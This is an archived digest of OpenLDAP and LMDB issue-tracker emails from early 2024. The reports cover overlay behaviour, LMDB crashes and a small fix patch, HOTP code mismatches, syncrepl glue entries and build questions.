https://bugs.openldap.org/show_bug.cgi?id=10201 Issue ID: 10201 Summary: Update autotools to 2.71 Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Update to newer autotools to work with current configure.ac requirements -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 10199] New: pwdPolicySubentry set at user level
by openldap-its＠openldap.org 05 Apr '24

05 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10199 Issue ID: 10199 Summary: pwdPolicySubentry set at user level Product: OpenLDAP Version: 2.4.59 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: kiruthiga_rajangam(a)comcast.com Target Milestone: --- I have three distinct password policies, and I aim to apply one of them to a user group so that members of the group inherit the policy. However, when I set the pwdPolicySubentry attribute of the group, the members do not seem to inherit the policy automatically. Instead, each member must be individually assigned the pwdPolicySubentry attribute for the policy to take effect. Is there something I'm overlooking in this process? -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10200] New: Can pcacheTemplate support '!' operator
by openldap-its＠openldap.org 03 Apr '24

03 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10200 Issue ID: 10200 Summary: Can pcacheTemplate support '!' operator Product: OpenLDAP Version: 2.5.16 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: shaosong.li(a)salesforce.com Target Milestone: --- Hi, I am using Openldap V2.5.17 and pcache engine for cache. After multiple rounds of testing, I found the '!" is not supported in the pcacheTemplate, such as below, which is used for filter from ldap query (!(uidNumber=0)). pcacheTemplate (!(uidNumber=)) 0 6000 300 0 0 While checking the source code, i don't see the '!' operator supported, however, I do see '&' and '|' in the source code. https://git.openldap.org/openldap/openldap/-/blob/OPENLDAP_REL_ENG_2_5/serv… Thanks, -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10196] New: ldapsearch with -h localhost resulting dns lookup
by openldap-its＠openldap.org 03 Apr '24

03 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10196 Issue ID: 10196 Summary: ldapsearch with -h localhost resulting dns lookup Product: OpenLDAP Version: 2.4.46 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: mca100309(a)gmail.com Target Milestone: --- ldapsearch -h localhost -p 16611 xxxxxxxx socket(AF_INET6, SOCK_DGRAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 3 setsockopt(3, SOL_IPV6, IPV6_RECVERR, [1], 4) = 0 connect(3, {sa_family=AF_INET6, sin6_port=htons(53), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "fd03::a", &sin6_addr), sin6_scope_id=0}, 28) = 0 poll([{fd=3, events=POLLOUT}], 1, 0) = 1 ([{fd=3, revents=POLLOUT}]) sendto(3, "R$\1\0\0\1\0\0\0\0\0\0'odinfn5gceir201-eir"..., 57, MSG_NOSIGNAL, NULL, 0) = 57 poll([{fd=3, events=POLLIN}], 1, 5000) = 1 ([{fd=3, revents=POLLIN}]) ioctl(3, FIONREAD, [57]) = 0 recvfrom(3, "R$\201\202\0\1\0\0\0\0\0\0'odinfn5gceir201-eir"..., 1024, 0, {sa_family=AF_INET6, sin6_port=htons(53), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "fd03::a", &sin6_addr), sin6_scope_id=0}, [28]) = 57 close(3) Whenever ldapsearch is executed localhost it it initiating a dnslookup also. It is happening in some platform only -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10194] New: Does LMDB support zero length keys?
by openldap-its＠openldap.org 02 Apr '24

02 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10194 Issue ID: 10194 Summary: Does LMDB support zero length keys? Product: LMDB Version: 0.9.29 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: roger.marsh(a)btinternet.com Target Milestone: --- I suspect the answer is 'No' but do not see a definitive statement. I followed the Python code and documentation trail below, but decided to ask here when I concluded I could not decide. Some Python code was adapted from berkeleydb to lmdb and gave an exception for a cursor.set_range_dup(b'', <some value>) call. Reading the lmdb/cffi.py code in site-packages prompted me to try cursor.set_range(b''), which seemed reasonable given that is what is done for berkeleydb, and it worked. However cursor.put(b'', <some value>) gave an exception quoting "mdb_put: MDB_BAD_VALSIZE ...". The documentation for the Python interface to LMDB at lmdb.readthedocs.io/ states behaviour for the empty bytestring for set_key(), set_key_dup(), and set_range(); but not for set_range_dup() or put(). Only set_key() and set_key_dup() describe empty bytestring as an error. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 7298] permissive modify control misparsed
by openldap-its＠openldap.org 02 Apr '24

02 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=7298 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10195 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 7298] permissive modify control misparsed
by openldap-its＠openldap.org 30 Mar '24

30 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=7298 --- Comment #6 from Howard Chu <hyc(a)openldap.org> --- "No data for this control" means the data portion should not be sent at all. Setting bv_len and bv_val is just the quirk of how their API is designed. If we accept their published spec at face value, then their C# SDK implementation is wrong, because it is sending zero length data instead of "no data". You should submit a ticket to Microsoft to resolve this by either fixing their doc or fixing their SDK, whichever the case may be. The current OpenLDAP behavior conforms to their official spec so there is no OpenLDAP bug here. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 7298] permissive modify control misparsed
by openldap-its＠openldap.org 30 Mar '24

30 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=7298 --- Comment #5 from lesignor(a)cirad.fr --- In the Microsoft documentation (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/ld…), they write : ldctl_value No data for this control. In the berval structure, set bv_len to zero and bv_val to NULL. As they said set bv_len to zero, I guess some developer choose to send 04 00 to set the length to 0, and other consider to remove all fields. The ldap client, I use, is a dotnet client. I think it uses the c# sdk from Microsoft. Would it be possible to accept both implementation (null or empty) ? It will be a great help to migrate to openldap 2.6.x. Thanks -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10192] New: otp.c overlay - HOTP wrongly numbers gneration
by openldap-its＠openldap.org 28 Mar '24

28 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=10192 Issue ID: 10192 Summary: otp.c overlay - HOTP wrongly numbers gneration Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: michal.pura(a)gmail.com Target Milestone: --- Hello, I am trying to use otp.c overlay but seems that numbers are not properly generated. In my case I have random secret like 'aaaabbbbccccdddd' and according to what Google Authenticator and https://www.verifyr.com/en/otp/check#hotp is generating we should have the following HOTP codes for above secret: 1 - 229789 2 - 801677 3 - 630108 4 - 214543 5 - 916392 6 - 346078 7 - 701644 8 - 865071 9 - 431248 10 - 355053 but, otp.c module is returning the following numbers: 1 - 441008 2 - 465617 3 - 669281 4 - 042697 5 - 461210 6 - 620979 7 - 700859 8 - 573924 9 - 805067 10 - 135880 The secret is properly generated and used in the code. I've checked it under debugger. The hash algorithm is defined as 1.2.840.113549.2.7 -> HMAC-WITH-SHA1. What is wrong? -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 7400] Memberof and Syncrepl incompatibility
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=7400 --- Comment #14 from Quanah Gibson-Mount <quanah(a)openldap.org> --- head: • ae1c8f18 by Howard Chu at 2024-02-20T15:55:37+00:00 ITS#7400 slapo-memberof: delete note about deprecation -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 7400] Memberof and Syncrepl incompatibility
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=7400 --- Comment #13 from Quanah Gibson-Mount <quanah(a)openldap.org> --- RE26: • f30def77 by Howard Chu at 2024-03-26T16:38:10+00:00 ITS#7400 slapo-memberof: delete note about deprecation -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10082] New: More dynlist eval tweaks
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=10082 Issue ID: 10082 Summary: More dynlist eval tweaks Product: OpenLDAP Version: 2.5.14 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- When the memberOf attribute is a user attribute instead of operational, it will be expanded on any search for (all user attributes). If the search is filtering on objectclasses that don't contain this attribute, that's wasted work. Check for a matching objectclass in the filter before doing that. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Version|unspecified |0.9.32 Target Milestone|--- |0.9.33 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Resolution|TEST |FIXED Assignee|bugs(a)openldap.org |hyc(a)openldap.org --- Comment #38 from Quanah Gibson-Mount <quanah(a)openldap.org> --- RE0.9: • 83dc42c5 by Howard Chu at 2024-03-26T14:52:42+00:00 ITS#9037 mdb_page_search: fix error code when DBI record is missing -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10189] New: Extra `#endif` in `libraries/liblunicode/utbm/utbm.h`
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=10189 Issue ID: 10189 Summary: Extra `#endif` in `libraries/liblunicode/utbm/utbm.h` Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: annieliu(a)roblox.com Target Milestone: --- In `libraries/liblunicode/utbm/utbm.h` (https://github.com/openldap/openldap/blob/master/libraries/liblunicode/utbm…), only one `#ifndef` macro is defined, but there are two `#endif`s. Wondering if this is a typo? -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10190] New: Stack space exhaustion on windows due to FD_SETSIZE
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=10190 Issue ID: 10190 Summary: Stack space exhaustion on windows due to FD_SETSIZE Product: OpenLDAP Version: unspecified Hardware: All OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: varunpatil(a)ucla.edu Target Milestone: --- Setting FD_SETSIZE is only effective on Windows and BSD, and is currently set to an unreasonable default of 4096. Each fd_set is initialized with an array of file descriptors of this size; this allocates 8*4096 bytes on 64-bit machines, which quickly exhausts the small stack space on Windows. This patch sets the default to a more reasonable value of 128; the default value on Windows currently is 64. -- You are receiving this mail because: You are on the CC list for the issue.

2 8

[Issue 9378] New: Crash in mdb_put() / mdb_page_dirty()
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9378 Issue ID: 9378 Summary: Crash in mdb_put() / mdb_page_dirty() Product: LMDB Version: 0.9.26 Hardware: All OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: nate(a)kde.org Target Milestone: --- The KDE Baloo file indexer uses lmdb as its database (source code available at https://invent.kde.org/frameworks/baloo). Our most common crash, with over 100 duplicate bug reports, is in lmdb. Here's the bug report tracking it: https://bugs.kde.org/show_bug.cgi?id=389848. The version of lmdb does not seem to matter much. We have bug reports from Arch users with lmdb 0.9.26 as well as bug reports from people using many earlier versions. Here's an example backtrace, taken from https://bugs.kde.org/show_bug.cgi?id=426195: #6 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #7 0x00007f3c0bbb9859 in __GI_abort () at abort.c:79 #8 0x00007f3c0b23ba83 in mdb_assert_fail (env=0x55e2ad710600, expr_txt=expr_txt@entry=0x7f3c0b23e02f "rc == 0", func=func@entry=0x7f3c0b23e978 <__func__.7221> "mdb_page_dirty", line=line@entry=2127, file=0x7f3c0b23e010 "mdb.c") at mdb.c:1542 #9 0x00007f3c0b2306d5 in mdb_page_dirty (mp=<optimized out>, txn=0x55e2ad7109f0) at mdb.c:2114 #10 mdb_page_dirty (txn=0x55e2ad7109f0, mp=<optimized out>) at mdb.c:2114 #11 0x00007f3c0b231966 in mdb_page_alloc (num=num@entry=1, mp=mp@entry=0x7f3c0727aee8, mc=<optimized out>) at mdb.c:2308 #12 0x00007f3c0b231ba3 in mdb_page_touch (mc=mc@entry=0x7f3c0727b420) at mdb.c:2495 #13 0x00007f3c0b2337c7 in mdb_cursor_touch (mc=mc@entry=0x7f3c0727b420) at mdb.c:6523 #14 0x00007f3c0b2368f9 in mdb_cursor_put (mc=mc@entry=0x7f3c0727b420, key=key@entry=0x7f3c0727b810, data=data@entry=0x7f3c0727b820, flags=flags@entry=0) at mdb.c:6657 #15 0x00007f3c0b23976b in mdb_put (txn=0x55e2ad7109f0, dbi=5, key=key@entry=0x7f3c0727b810, data=data@entry=0x7f3c0727b820, flags=flags@entry=0) at mdb.c:9022 #16 0x00007f3c0c7124c5 in Baloo::DocumentDB::put (this=this@entry=0x7f3c0727b960, docId=<optimized out>, docId@entry=27041423333263366, list=...) at ./src/engine/documentdb.cpp:79 #17 0x00007f3c0c743da7 in Baloo::WriteTransaction::replaceDocument (this=0x55e2ad7ea340, doc=..., operations=operations@entry=...) at ./src/engine/writetransaction.cpp:232 #18 0x00007f3c0c736b16 in Baloo::Transaction::replaceDocument (this=this@entry=0x7f3c0727bc10, doc=..., operations=operations@entry=...) at ./src/engine/transaction.cpp:295 #19 0x000055e2ac5d6cbc in Baloo::UnindexedFileIndexer::run (this=0x55e2ad79ca20) at /usr/include/x86_64-linux-gnu/qt5/QtCore/qrefcount.h:60 #20 0x00007f3c0c177f82 in QThreadPoolThread::run (this=0x55e2ad717f20) at thread/qthreadpool.cpp:99 #21 0x00007f3c0c1749d2 in QThreadPrivate::start (arg=0x55e2ad717f20) at thread/qthread_unix.cpp:361 #22 0x00007f3c0b29d609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #23 0x00007f3c0bcb6103 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 -- You are receiving this mail because: You are on the CC list for the issue.

1 30

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 Howard Chu <hyc(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Status|UNCONFIRMED |RESOLVED Resolution|--- |TEST --- Comment #37 from Howard Chu <hyc(a)openldap.org> --- Fixed in git -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 26 Mar '24

26 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #36 from mdufour(a)audiokinetic.com --- This patch does fix the crash in my application repro case as well. We'll integrate it in our next minor release. Thanks much! -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 25 Mar '24

25 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #35 from Howard Chu <hyc(a)openldap.org> --- (In reply to mdufour from comment #34) > Thanks to the test application, I was able to identify a key missing step in > my description: process2 creates a named database (under a different name) > after dropping the initial one. I can reproduce the crash by inserting the > following lines @ 104: > > E(mdb_txn_begin(env, NULL, 0, &txn)); > E(mdb_dbi_open(txn, "id2", MDB_CREATE, &dbi)); > E(mdb_txn_commit(txn)); OK, that reproduces it. This patch should fix it, please test, thanks: diff --git a/libraries/liblmdb/mdb.c b/libraries/liblmdb/mdb.c index 13d1aea39e..f0a65d97ab 100644 --- a/libraries/liblmdb/mdb.c +++ b/libraries/liblmdb/mdb.c @@ -6670,7 +6670,7 @@ mdb_page_search(MDB_cursor *mc, MDB_val *key, int flags) MDB_node *leaf = mdb_node_search(&mc2, &mc->mc_dbx->md_name, &exact); if (!exact) - return MDB_NOTFOUND; + return MDB_BAD_DBI; if ((leaf->mn_flags & (F_DUPDATA|F_SUBDATA)) != F_SUBDATA) return MDB_INCOMPATIBLE; /* not a named DB */ rc = mdb_node_read(&mc2, leaf, &data); -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 23 Mar '24

23 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #34 from mdufour(a)audiokinetic.com --- Thanks to the test application, I was able to identify a key missing step in my description: process2 creates a named database (under a different name) after dropping the initial one. I can reproduce the crash by inserting the following lines @ 104: E(mdb_txn_begin(env, NULL, 0, &txn)); E(mdb_dbi_open(txn, "id2", MDB_CREATE, &dbi)); E(mdb_txn_commit(txn)); -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 22 Mar '24

22 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #33 from Howard Chu <hyc(a)openldap.org> --- (In reply to mdufour from comment #31) > I am able to reproduce the crash in a scenario with two processes accessing > the same LMDB file, where: > > - process1 opens a named database. > - process2 drops this named database. > - process1 writes to the initial named database (using the dbi it was > holding on to) -> this is where we crash. > > It seems that mdb_page_search returns MDB_NOTFOUND because the named > database is gone, leaving mc->mc_pg[0] NULL. Thanks for that info. Unfortunately I still can't reproduce that crash. I've attached the test code I wrote based on your info. It forks off a child to do the process2 actions. You must press RETURN when you're ready for process 1 to proceed. I just get more MDB_NOTFOUND results when process1 tries to write again. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 22 Mar '24

22 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #32 from Howard Chu <hyc(a)openldap.org> --- Created attachment 1015 --> https://bugs.openldap.org/attachment.cgi?id=1015&action=edit Attempted reproduction -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Bug 9193] New: HTML in mailing list description
by openldap-its＠openldap.org 19 Mar '24

19 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9193 Bug ID: 9193 Summary: HTML in mailing list description Product: website Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: website Assignee: bugs(a)openldap.org Reporter: ryan(a)openldap.org Target Milestone: --- e.g. https://lists.openldap.org/postorius/lists/openldap-devel.openldap.org/ contains code for links and formatting, but all inside of a <pre> block. -- You are receiving this mail because: You are on the CC list for the bug.

1 5

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 18 Mar '24

18 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #31 from mdufour(a)audiokinetic.com --- I am able to reproduce the crash in a scenario with two processes accessing the same LMDB file, where: - process1 opens a named database. - process2 drops this named database. - process1 writes to the initial named database (using the dbi it was holding on to) -> this is where we crash. It seems that mdb_page_search returns MDB_NOTFOUND because the named database is gone, leaving mc->mc_pg[0] NULL. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 15 Mar '24

15 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #30 from mdufour(a)audiokinetic.com --- We're on revision ce200dca of the main openldap repo from Aug 27, 2023. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 15 Mar '24

15 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #29 from Howard Chu <hyc(a)openldap.org> --- (In reply to mdufour from comment #28) > Apologies, in the last message, the provide line of code is indeed 7998, the > crash location (and not 8183 as written). It is slightly different from the > official mdb.c due to some unrelated local changes earlier in the file. You didn't specify which version of LMDB you're using. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 15 Mar '24

15 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #28 from mdufour(a)audiokinetic.com --- Apologies, in the last message, the provide line of code is indeed 7998, the crash location (and not 8183 as written). It is slightly different from the official mdb.c due to some unrelated local changes earlier in the file. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9037] observing crash in mdb_cursor_put()
by openldap-its＠openldap.org 15 Mar '24

15 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=9037 --- Comment #27 from mdufour(a)audiokinetic.com --- We are also seeing rare instances of this crash since we released a version of our product which uses LMDB. Specifically, call stack is: mdb_cursor_put(MDB_cursor * mc, MDB_val * key, MDB_val * data, unsigned int flags) Line 7998 mdb_put(MDB_txn * txn, unsigned int dbi, MDB_val * key, MDB_val * data, unsigned int flags) Line 10107 where line 8183 is nsize = IS_LEAF2(mc->mc_pg[mc->mc_top]) ? key->mv_size : mdb_leaf_size(env, key, rdata); and mc->mc_top == 0 mc->mc_pg[0] == NULL rc == -30798 Although we do not have a reproduction case, we do have a full crash dump with heap of an unoptimized debug build of our application. There is no evidence of stack corruption (in fact, mc->mc_pg[1] is still 0xcccccccccccccccc as per the msvc run-time check initialization). Unfortunately we do not have the matching LMDB file. Anything we can provide to help narrow down the issue? -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10187] New: I need to build an LDAP server from this image that runs as non-root
by openldap-its＠openldap.org 12 Mar '24

12 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=10187 Issue ID: 10187 Summary: I need to build an LDAP server from this image that runs as non-root Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: deepakganiger4(a)gmail.com Target Milestone: --- I need to build an LDAP server from this image that runs as non-root. Is there a way to do this? I've tried creating a user with root privileges and then running as this user, but the server fails to start. Our Kubernetes environment requires that we run all pods as non-root -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 10184] New: slapo-translucent
by openldap-its＠openldap.org 05 Mar '24

05 Mar '24

https://bugs.openldap.org/show_bug.cgi?id=10184 Issue ID: 10184 Summary: slapo-translucent Product: OpenLDAP Version: 2.6.3 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: marco.esposito(a)gmail.com Target Milestone: --- I am currently experiencing an issue with an OpenLDAP instance configured with the slapo-translucent overlay. After performing an ldapmodify: # ldapmodify -x -D cn=Manager,dc=example,dc=com -W -H ldap:/// <<EOF dn: uid=user,ou=People,dc=example,dc=com changetype: modify replace: uidNumber uidNumber: 99 EOF LDAP queries requesting only translucent local attributes do not return results unless both the remote and local attributes are included in the filter. Here is an example illustrating the behavior: Query with both remote and local attributes in the filter after ldapmodify (works correctly): # ldapsearch -x -D "cn=Manager,dc=example,dc=com" -W -H ldap:/// -b "ou=People,dc=example,dc=com" "(uid=user)" uid uidNumber # extended LDIF # # LDAPv3 # base <ou=People,dc=example,dc=com> with scope subtree # filter: uid=user # requesting: uid uidNumber # # user, People, example.com dn: uid=user,ou=People,dc=example,dc=com uidNumber: 99 uid: user # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1 Query with only local attributes in the filter after ldapmodify (does not return results): # ldapsearch -x -D "cn=Manager,dc=example,dc=com" -W -H ldap:/// -b "ou=People,dc=example,dc=com" "(uid=user)" uidNumber # extended LDIF # # LDAPv3 # base <ou=People,dc=example,dc=com> with scope subtree # filter: uid=user # requesting: uidNumber # # search result search: 2 result: 0 Success # numResponses: 1 While attempting to debug the issue, I believe the problem may be related to the code in lines 928 - 940 of the file overlays/translucent.c: https://git.openldap.org/openldap/openldap/-/blob/master/servers/slapd/over… Specifically, I suspect that the issue may be related to the conditions within the 'if' statement. I have carefully reviewed the slapd instance configuration and overlay settings, but I have not been able to identify the root cause. Any assistance or advice on resolving this issue would be greatly appreciated. Thank you for your time and support. Best regards, Marco -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 10181] New: No support for setting allowed signature algorithms or groups/curves for OpenSSL TLS handshake
by openldap-its＠openldap.org 22 Feb '24

22 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=10181 Issue ID: 10181 Summary: No support for setting allowed signature algorithms or groups/curves for OpenSSL TLS handshake Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: stephen.wall(a)redcom.com Target Milestone: --- The list of LDAP_OPT_X_TLS_* constants does not include anything for setting allowed curves/groups (SSL_CTX_set1_groups_list()) or signature algorithms (SSL_CTX_set1_client_sigalgs_list(), SSL_CTX_set1_sigalgs_list()) for TLS handshakes. Support for OpenSSL's SSL_CONF_cmd() et al. API would also be a nice addition. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10136] New: Sync replication causing glue entries.
by openldap-its＠openldap.org 16 Feb '24

16 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=10136 Issue ID: 10136 Summary: Sync replication causing glue entries. Product: OpenLDAP Version: 2.5.13 Hardware: x86_64 OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: mbalakri(a)opentext.com Target Milestone: --- Created attachment 991 --> https://bugs.openldap.org/attachment.cgi?id=991&action=edit Node1 and Nod2 sync replication logs We have configured mirror mode replication with two nodes. Node1 syncrepl {0}rid=1 provider=ldaps://AWPCISQL22.otxlab.net:6366 type=refreshAndPersist searchbase="o=otxlab.net" schemachecking=off bindmethod=simple binddn="cn=Directory Manager,o=otxlab.net" credentials=d retry="120 10 300 +" timeout=60 tls_reqcert=never tls_cacert="C:\Program Files\OpenText\CARS\defaultInst\certificates\AWPCISQL22.otxlab.net-cert.cer" tls_cert="C:\Program Files\OpenText\CARS\defaultInst\certificates\AWPCISQL22.otxlab.net-cert.cer" tls_key="C:\Program Files\OpenText\CARS\defaultInst\certificates\AWPCISQL22.otxlab.net-key.pvk" Node2 syncrepl {0}rid=2 provider=ldaps://AWPCTHA1.otxlab.net:6366 type=refreshAndPersist searchbase="o=otxlab.net" schemachecking=off bindmethod=simple binddn="cn=Directory Manager,o=otxlab.net" credentials=d retry="120 10 300 +" timeout=60 tls_reqcert=never tls_cacert="C:\Program Files\OpenText\CARS\defaultInst\certificates\AWPCTHA1.otxlab.net-cert.cer" tls_cert="C:\Program Files\OpenText\CARS\defaultInst\certificates\AWPCTHA1.otxlab.net-cert.cer" tls_key="C:\Program Files\OpenText\CARS\defaultInst\certificates\AWPCTHA1.otxlab.net-key.pvk" olcMultiProvider is ON. Now when records are inserted into node1, it is replicating to node2 but after sometime glue entries are created in node2 and from then onwards replication is not working. Attached the sync logs from both the nodes. The below two entries are in glue state and not recovering from this state. cn=Method Set CAPackage,cn=Cordys CAPConnector,cn=cordys,cn=defaultInst,o=otxlab.net cn=Cordys CAPConnector,cn=cordys,cn=defaultInst,o=otxlab.net Any clue on what is going wrong here? Is this due to the 'retry' configuration? -- You are receiving this mail because: You are on the CC list for the issue.

1 20

[Issue 10100] New: Non-sequential timestamps being logged on Windows
by openldap-its＠openldap.org 16 Feb '24

16 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=10100 Issue ID: 10100 Summary: Non-sequential timestamps being logged on Windows Product: OpenLDAP Version: 2.6.6 Hardware: x86_64 OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: smckinney(a)symas.com Target Milestone: --- Presents as a dsync during replication. Consumer will log ``` 650af021.2eadd901 0000000000001b40 slap_queue_csn: queueing 0000000002ac1620 20230920131409.992477Z#000000#001#000000 650af021.2eaed239 0000000000001b40 slap_graduate_commit_csn: removing 0000000002ac1620 20230920131409.992477Z#000000#001#000000 650af021.317b2a35 000000000000185c do_syncrep2: rid=102 CSN too old, ignoring 20230920131409.040136Z#000000#001#000000 (uid=slapd-test1-FOO1-6,ou=People,dc=example,dc=com) ``` The entry was not be added. The provider will log messages using non-sequential timestamps. For example, when grepping the CSN from above (in provider log): ``` # This: 650af021.3b3060d9 0000000000001ad8 conn=1001 op=1 syncprov_sendresp: to=002, cookie=rid=102,sid=001,csn=20230920131409.992477Z#000000#001#000000 # and: 650af021.02648749 0000000000001810 slap_get_csn: conn=1003 op=7 generated new csn=20230920131409.040136Z#000000#001#000000 manage=1 ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 7

[Issue 7400] Memberof and Syncrepl incompatibility
by openldap-its＠openldap.org 15 Feb '24

